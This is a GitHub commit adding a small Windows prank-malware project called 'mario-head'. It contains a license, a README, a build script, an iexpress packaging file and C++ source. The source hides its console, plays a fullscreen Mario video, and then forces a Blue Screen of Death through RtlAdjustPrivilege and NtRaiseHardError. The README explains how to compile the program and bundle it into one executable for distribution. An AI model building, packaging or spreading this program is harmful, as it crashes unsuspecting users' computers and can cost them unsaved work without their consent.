-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Uploaded the first and probably only version
- Loading branch information
Showing
6 changed files
with
174 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
MIT License | ||
|
||
Copyright (c) 2022 bemxio | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,37 @@ | ||
# rickroll-bsod | ||
A BSOD Rickroll virus. Literally made by bemxio but i changed the video https://github.com/bemxio/mario-head \ | ||
Video made by MemerInnit https://www.youtube.com/watch?v=rGgAaKE7HI0 | ||
# mario-head | ||
A little malware script to display a video of Mario's levitating head, asking if he can have your computer, and crashing your PC with a Blue Screen of Death. | ||
|
||
Mostly made with DirectShow and some other libraries. | ||
|
||
## Compiling | ||
|
||
### With `cl` | ||
Make sure to run it from the "x86/x64 Native Tools Command Prompt", so that you can use `cl`. | ||
|
||
You probably should just use the provided `compile.bat` Batch script, but you can also do it manually, by simply doing: | ||
```sh | ||
cl main.cpp /Fe:"mario.exe" | ||
``` | ||
|
||
The script already has pragmas with needed libraries set up, so in case of `cl`, you don't need to add anything else to the command line arguments. | ||
|
||
### With `g++` | ||
I am not sure if there's a way to do it with `g++`. It's better to just download VS Build Tools & roll in with that. | ||
|
||
## Distributing | ||
You can pack the video file and the main script together using `iexpress`, with the provided SED file, containing all of the settings: | ||
```sh | ||
iexpress /Q /N iexpress.sed | ||
``` | ||
|
||
or, if you have a 64-bit system and want to package it into a 32-bit executable: | ||
```sh | ||
%SYSTEMROOT%\SysWOW64\iexpress.exe /Q /N iexpress.sed | ||
``` | ||
|
||
## The video | ||
The original video comes from [Mario Teaches Typing 2](https://www.mariowiki.com/Mario_Teaches_Typing_2), the exact source is from ["Mario Head Collection"](https://www.youtube.com/watch?v=9tQWLg4E90M&t=30s) on Youtube. | ||
|
||
If you want to replace the video, feel free to swap out `mario.wmv` with an another video. | ||
You will need to convert the video into a `.wmv` format, either by using `ffmpeg` or some obscure online converter. Just make sure to keep the same filename, or else, the script will immediately cause a BSoD. | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
@echo off | ||
|
||
mkdir build | ||
|
||
cl /Fe:"build/mario.exe" /Fo:"build/mario.obj" /EHsc main.cpp | ||
cp mario.wmv build\mario.wmv | ||
%SYSTEMROOT%\SysWOW64\iexpress.exe /Q /N iexpress.sed |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
[Version] | ||
Class=IEXPRESS | ||
SEDVersion=3 | ||
|
||
[Options] | ||
PackagePurpose=InstallApp | ||
ShowInstallProgramWindow=1 | ||
HideExtractAnimation=1 | ||
UseLongFileName=0 | ||
InsideCompressed=0 | ||
CAB_FixedSize=0 | ||
CAB_ResvCodeSigning=0 | ||
RebootMode=N | ||
InstallPrompt=%InstallPrompt% | ||
DisplayLicense=%DisplayLicense% | ||
FinishMessage=%FinishMessage% | ||
TargetName=%TargetName% | ||
FriendlyName=%FriendlyName% | ||
AppLaunched=%AppLaunched% | ||
PostInstallCmd=%PostInstallCmd% | ||
AdminQuietInstCmd=%AdminQuietInstCmd% | ||
UserQuietInstCmd=%UserQuietInstCmd% | ||
SourceFiles=SourceFiles | ||
|
||
[Strings] | ||
InstallPrompt= | ||
DisplayLicense= | ||
FinishMessage= | ||
TargetName=.\build\mario_dist.exe | ||
FriendlyName=Mario Head | ||
AppLaunched=mario.exe | ||
PostInstallCmd=<None> | ||
AdminQuietInstCmd= | ||
UserQuietInstCmd= | ||
FILE0="mario.exe" | ||
FILE1="mario.wmv" | ||
|
||
[SourceFiles] | ||
SourceFiles0=.\build\ | ||
|
||
[SourceFiles0] | ||
%FILE0%= | ||
%FILE1%= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
#include <Windows.h> | ||
#include <Dshow.h> | ||
|
||
// pragmas for libraries needed | ||
#pragma comment(lib, "ntdll.lib") // bsod stuff | ||
#pragma comment(lib, "strmiids.lib") // most of directshow | ||
#pragma comment(lib, "ole32.lib") // CoInitialize and CoCreateInstance | ||
#pragma comment(lib, "user32.lib") // ShowWindow | ||
|
||
// externs for bsod stuff | ||
extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrThread, PBOOLEAN StatusPointer); | ||
extern "C" NTSTATUS NTAPI NtRaiseHardError(LONG ErrorStatus, ULONG Unless1, ULONG Unless2, PULONG_PTR Unless3, ULONG ValidResponseOption, PULONG ResponsePointer); | ||
|
||
// global variables for directshow | ||
IGraphBuilder *graph = 0; // filter graph manager | ||
IMediaControl *control = 0; // media control interface | ||
IMediaEvent *event = 0; // media event interface | ||
IVideoWindow *window = 0; // the video window | ||
|
||
// helpful functions | ||
void initialize_directshow(LPCWSTR path) { | ||
CoInitialize(NULL); // initialize the COM | ||
|
||
// create the filter graph manager | ||
CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, IID_IGraphBuilder, (void **)&graph); | ||
|
||
// get addition interfaces for it | ||
graph->QueryInterface(IID_IMediaControl, (void **)&control); | ||
graph->QueryInterface(IID_IMediaEvent, (void **)&event); | ||
graph->QueryInterface(IID_IVideoWindow, (void **)&window); | ||
|
||
// attempt to build the graph for file playback | ||
graph->RenderFile(path, NULL); | ||
|
||
// set the video window to fullscreen mode | ||
window->put_FullScreenMode(OATRUE); | ||
} | ||
|
||
unsigned long trigger_bsod() { | ||
BOOLEAN state; | ||
unsigned long response; | ||
|
||
RtlAdjustPrivilege(19, TRUE, FALSE, &state); | ||
NtRaiseHardError(STATUS_IN_PAGE_ERROR, 0, 0, NULL, 6, &response); | ||
|
||
return response; | ||
} | ||
|
||
// main code here | ||
int main() { | ||
ShowWindow(GetConsoleWindow(), SW_HIDE); // hide console window | ||
initialize_directshow(L"mario.wmv"); | ||
|
||
HRESULT result = control->Run(); | ||
|
||
if (!SUCCEEDED(result)) { // just trigger a BSOD if it can't play the video | ||
trigger_bsod(); | ||
} | ||
|
||
long code = 0; | ||
event->WaitForCompletion(INFINITE, &code); | ||
|
||
trigger_bsod(); | ||
|
||
return 1; | ||
} |